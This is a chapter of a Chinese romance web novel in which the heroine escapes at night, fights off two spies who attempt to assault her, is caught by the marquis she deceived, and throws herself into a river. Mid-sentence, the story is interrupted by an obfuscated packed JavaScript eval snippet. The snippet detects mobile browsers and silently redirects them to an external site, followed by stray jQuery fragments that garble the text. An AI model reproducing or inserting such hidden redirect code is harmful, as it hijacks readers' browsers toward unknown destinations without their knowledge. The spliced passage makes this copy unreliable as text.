夜雨如注,骏马在荒原上疾驰,徐妙宜一刻也不敢停下,她必须在明日开城门前达到,否则陆慎之发现后必定将她抓回溧阳。
他是斥候,最擅长追踪,多半会发现她回了顾家。
真到那时,有外祖父出面护着,他一个百夫长想必不敢乱来,若他还是纠缠不放,她便想法子告到他的上峰那里去,狠狠毁掉他的前程。
镇北侯素来治军严明,定不会纵容下属强抢民女。
疾驰几十里地后,骏马忽然停下,被一条奔流不息的大江拦住去处。
江面宽阔,约莫有五六十丈,水流湍急,奔腾不息,激起层层浪花。
骏马在江堤边慢慢踱步,徐妙宜心急如焚,依稀瞧见下游数里地外有座浮桥,快速调转马头向那浮桥行去。
走近后却发现,浮桥早已残损,没法过人。
她用力收紧缰绳,指节泛白,迫使自己冷静思索。此路为凉州主城增兵前往溧阳城、回雁关的必经之路,不可能没有石桥,或许是她找错了地方。
思及此,徐妙宜旋即沿着江堤继续往下游行去。
又行了小半个时辰,终于望见一座青石桥横跨江面,有辆马车深夜赶路。
滂沱大雨之中,她打马上桥,却见车帘挑起,一道温和的嗓音唤她:“娘子要去哪里?这么大的雨,不如来我的车上避一避吧?”
徐妙宜警惕地望去,是那个香料铺老板薛清,而那小童一脸不耐烦地驾车。
他们主仆二人为何这么晚了还出城?徐妙宜察觉到一丝危险,立刻调转马头,逃也似的策马离开。
薛清收起笑意,“阿铮,抓住她。”
他今日接到密报,被告知行动失败,黎志已被秘密处死,两人必须尽快撤出溧阳,原本正遗憾无缘钓到美人,未曾想,她居然主动撞上来了。
当真是意外之喜,镇北侯没死,捞着个美人。
阿铮抬起手臂触发暗弩机关射中马腹,骏马吃痛跪地,将背上的小娘子甩了出去。
薛清迫不及待跳下车,抱起徐妙宜。
她尖叫着捶打他,大声呼救,却引得薛清狞笑,“别吵了美人儿,这里除了我们三,没有别人。”
阿铮冷冷提醒道:“还没到永安郡,你可别头脑发昏,这个时候搞女人。”
“我知道。”薛清应道。
把人弄到车上后,他终于心满意足,贪婪地埋首在她雪颈,“美人儿,你生得可真好看,爷在天香楼见你第一眼就知道你是个绝色,后来怎么不来铺子里了呢,嗯?”
徐妙宜心口处剧烈起伏,一脸惊恐蹬着腿踹他,拼命推拒,“滚开!”
“滚去哪里?爷等不及了。”薛清捉住她的一双腕子按住,剥开那湿漉漉的衣裳,“你都有过郎君了,待会儿爷没那么怜香惜玉,你多担待着。”
她挣扎不过,被他扯开衣襟撕破,露出纤薄雪肩和大片暧昧红痕。
好在薛清看不太清,继续解她的衣裳,她意识到自己不可能从这对主仆手下逃脱,慢慢停止了挣扎,含着泪思索如何应对。
外头传来阿铮的啐骂,“薛清!你他娘的不能再忍忍?”
小娘子浑身湿透,鬓发微散,两靥绯红,如被雨露打过的娇艳海棠,他哪里还能忍住。
薛清嬉皮笑脸,正要吻上去,徐妙宜侧过脸躲开,“外面的小郎君好像生气了,不如郎君让我在上面吧,这样也能动静轻些。”
见她一副认了命的乖巧模样,薛清求之不得,抱着她翻了个面,“美人儿,你来。”
“郎君。”徐妙宜继续哄他,悄无声息解下香囊,“您先把眼睛闭上。”
薛清果真闭上了眼,“美人儿,你叫什么名字?”
这副色欲熏心的模样实在令人作呕,她强忍着恶心跪坐在薛清身上,用膝盖压制他的双臂,奋力用香囊捂住他的口鼻。
薛清发出呜咽挣扎,徐妙宜力气远不如他,很快就被他挣脱用力一推搡,重重摔向车厢角落,混乱中摸到一把匕首,是从薛清的躞蹀带上掉落的。
“贱人,敬酒不吃吃罚酒。”薛清阴沉沉地笑,扑了上来,“看老子怎么弄死你。”
她看不清他的狰狞面容,但想起了在清音寺险些被卫三郎侮辱,也是这样的场景,忍不住尖叫着往车厢里躲,拔出匕首挡在身前。
须臾,薛清压在她身上抽搐两下没了动静,腹部插着那柄匕首。
温热血液淌到她掌心,黑暗中,徐妙宜怔然望着眼前一切。
直到车厢外又传来啐骂声,“你他娘的能不能先把她掐晕,闹这么大动静!”
她强迫自己收拢心神,哆哆嗦嗦探了探薛清的脉搏,微弱到快要摸不出来,却不知是那一刀重伤了他,还是麻沸散发挥了作用。
怎么办?她杀了薛清,接下来要如何解决驾车的小童?那家伙看起来心狠手辣,定然不会放过自己,可方才是情急之下为了自保,如今要她再杀一个人,她没有胆量下手。
徐妙宜用力拔出匕首,颤抖着擦去眼泪,脑子里乱成一团麻。
她重重咬了咬唇,直到尝出血腥味,才冷静下来,先把薛清往车厢里头拖了拖,仔细盖住血迹。
蓦地,一阵急促马蹄声划破长夜。
徐妙宜听见那小童骂了几声,迅速停车打起车帘催促,“薛清,滚出来!”
她假装害怕地拢了拢衣裳,抽泣着往车厢角落里躲,暗自握紧匕首。
薛清面朝下躺着,毫无反应,阿铮举着火折子凑近一看,盯着瑟缩在角落里衣衫不整的小娘子,“好啊,你把他给杀了。”
他扑上前来抓她,徐妙宜举出藏在衣袖里的匕首向他刺去,却被阿铮侧身躲过。
小童身手机敏,片刻后掐住那纤细雪颈,“找死!你把他杀了,我如何向殿下复命!”
呼吸越来越艰难,徐妙宜呛出了泪,死死握住手中匕首,用尽全身力气刺向他的手臂。
她不能死,舅舅还被困在洛京下落不明,她必须回顾家。
顾家的一切因她而起,也该让她来了结。
见小娘子拼死反抗,芙蓉面涨得通红,阿铮夺过她的匕首,讥笑:“你以为老子也是那种废物?就凭你,能杀得了我?”
话音刚落,三支弩箭穿透他的心口,他低下头,不敢置信地吐出一口血,身子委顿栽倒在她面前。
新鲜空气重新灌入肺腑,徐妙宜捡回一条命,捂住颈部剧烈咳嗽,摸索着把匕首捡了过来。
两具死尸横在她眼前,血染红了她的衣裙,却不知出手相助的是何人。
她心跳如擂鼓,强忍着恐惧,哆哆嗦嗦从阿铮身上爬了出去,颤抖着拂开车帘,望见那双熟悉的琉璃瞳。
倾盆大雨中,郎君骑着青骢马而来,挽弓如满月,箭簇堪堪正对着她。
玄色胡袍被雨水浇透,湿漉漉贴在他身上,勾勒出起伏贲张的肌肉线条,卫栩整个人宛如一整张蓄势待发的弓。
徐妙宜扶着车厢壁,指节泛白,难以置信眼前一切,他怎么会这么快醒来!
卫栩冷笑着开口,“药下少了,份量不太够。”
原来他都知道了,徐妙宜朱唇翕张,毫不怀疑他就像当初处置叛徒那样杀了自己。
他们之间除了榻上那点情分,再无其他可言,可她还是流着泪,央求他:“你放我回家吧。”
闻言,卫栩松开手,弩箭携雷霆之势射向她。
郭恒惊呼:“主上!”
一瞬间世间万物仿佛停滞,徐妙宜听见心脏狂跳的砰砰声,脑子里一片空白,神情透露出无尽恐惧。
直至弩箭几乎贴着她的耳畔擦过,深深钉入身后车厢壁。
她跌下马车,跪坐在泥泞里,眼神涣散。
卫栩居高临下俯视她,眸光不带任何温度,嗓音森寒,“你现在有什么资格跟我谈条件?”
他提醒过她平生最厌恶背叛,可她居然还敢在茶汤里下药,偷偷跑出去,甚至与卫家细作搅和到了一起。若非他及时赶至,恐怕她现在已经丢了性命!
此刻这副衣襟凌乱、玉肩半露的绮靡香艳模样,是否又是她为了出逃故意为之?正如当初在洛京时假装引诱卫三郎,实则暗中密谋部署逃婚那样。
难道无论谁带她走,她都愿意出卖美色,任由对方取走好处。
卫栩眸中掀起滔天怒意,恨不得将她的心剜出来。
眼看两人陷入僵持,郭恒战战兢兢提醒,“主上,那两人还在车厢里,”
想到此行目的,卫栩敛了敛怒容,神色淡漠,“查查,死了没有。”
郭恒领了两个兵士上前,主动解了氅衣递给徐妙宜,委婉劝道:“娘子服
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109619|160078||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个软,给主上道个歉,这件事便也过去了。”
镇北侯素来百步穿杨箭无虚发,刚才那一箭是故意吓唬的,若真起了杀心,便不会让她活着了。
劝完,又和两个兵士一起进到车厢里头,将两人抬出来。
阿铮已经死了,薛清尚有一口气息,被掐人中救醒来。
他睁开眼,痛苦捂住血流不止的小腹,望见兵士,对着徐妙宜破口大骂:“贱人,害我性命!”
徐妙宜拢紧氅衣,想起被他强行轻薄,气到眼眸泛红,“分明是你……”
“我怎么了?”薛清自知被擒无力回天,干脆拉个垫背,“你拦了车,说只要带你走,就让我随便睡,怎么玩……”
听见这番话,郭恒顿时冷汗涔涔,一记手刀将他劈晕,看了看徐妙宜,小娘子震惊地睁大双眸,气愤到浑身发颤。
又看了看镇北侯,郎君紧抿薄唇,面色阴鸷,不知是信了还是没信。
未等他开口劝和,卫栩冷冷道:“过来。”
徐妙宜恍若未闻,纤弱十指用力抓着氅衣,朱唇微微发颤。
“娘子,主上让您过去。”郭恒劝道,“此人蓄意栽赃您,主上他不会轻信的。”
因卫栩怒到了极点,他不敢伸手搀扶徐妙宜,看着她狼狈地从泥水里站起来。
或许是因为冷,又或许是因为害怕和愤怒,她止不住地战栗,仍然是那句话,“你放我回家吧。”
“陆慎之,我知道你不是什么很坏的人,你若想杀我,早在万春谷拿到药引治好病那时,就已经将我处理掉了。你放我走好不好?我对你来说已经没有用了,我不会将你的事情说出去,我以性命起誓……”
“谁告诉你我治好了病?”卫栩打断她,眸底弥散狠戾,“黎志?”
徐妙宜急忙解释道:“不是黎大夫,他什么也没说,你别误会。”
很怕他误会?卫栩唇边挑起一个嘲讽的弧度,也就她还被瞒在鼓里,以为黎志是什么好人。
“顾窈,我可以再给你个机会。”他解下佩刀丢到徐妙宜脚边,似笑非笑看着她。
徐妙宜抬眸,不明白他为何突然提到黎志,又突然转换话题,将横刀丢了过来。
“他说你主动献身,你却辩解。”卫栩嗓音淡漠,“不如这样,你杀了他自证清白,今夜随我回去后,既往不咎。”
雨珠子打在脸上一片冰凉,徐妙宜闭上眼眸,“我不会杀人。”
卫栩嗤笑,“不会杀人?那他腹部的伤是怎么一回事,嗯?”
“他掳走我强行轻薄,我不从,趁机伤了他。”她轻声说道,“如果你一定要逼迫,我无法下手。”
良久之后,卫栩再度开口:“过来,我替你杀了他。”
这是他第二次让她过去。
徐妙宜攥着裙摆,骨子里沁出寒意,她知道他不会再说第三遍,因为他的耐心已经耗尽了。
可她不能过去,以他的狠戾,只会将她幽禁起来。
到那时舅舅要怎么办?顾家要怎么办?英国公会放过他们吗?想到这些,她止不住地流泪。
她承受日日试药之苦帮他治好了病,又照顾他度过了失明的日子,还将三千两银票给了他,不欠什么了。
望着不远处的江堤,徐妙宜转身朝那处奔去。
几乎同时,卫栩策马上前,用马鞭卷住了那不盈一握的腰。
这条江是天山冰雪融化汇聚成,水流湍急,冰寒刺骨,每年失足掉下去溺死的多达近百人。
若跳下去,她必死无疑。
卫栩收紧手臂,一点点将她拽回到马鞍旁,琉璃瞳微睐,“想死?”
大雨滂沱,她鬓发散乱,面色苍白如雪,虚弱地哀求道:“陆慎之,让我回家吧。”
卫栩道:“好啊,我成全你,告诉我,你家住凉州何处,明日一早我便让郭恒把你的尸身送回去。”
小娘子静默不语,只含泪望着滚滚江流。
卫栩俯身去搂那纤腰,却见眼前寒光一闪,来不及躲避,她割断马鞭,顺带划破了他的手臂,顿时血流如注。
心脏意外一阵揪疼,仿佛匕首划破的并非手臂,而是在他心上开了道口子,卫栩失神了片刻。
直到徐妙宜用尽全力向江堤奔去,纵身一跃。
卫栩目光欲裂,“顾窈!”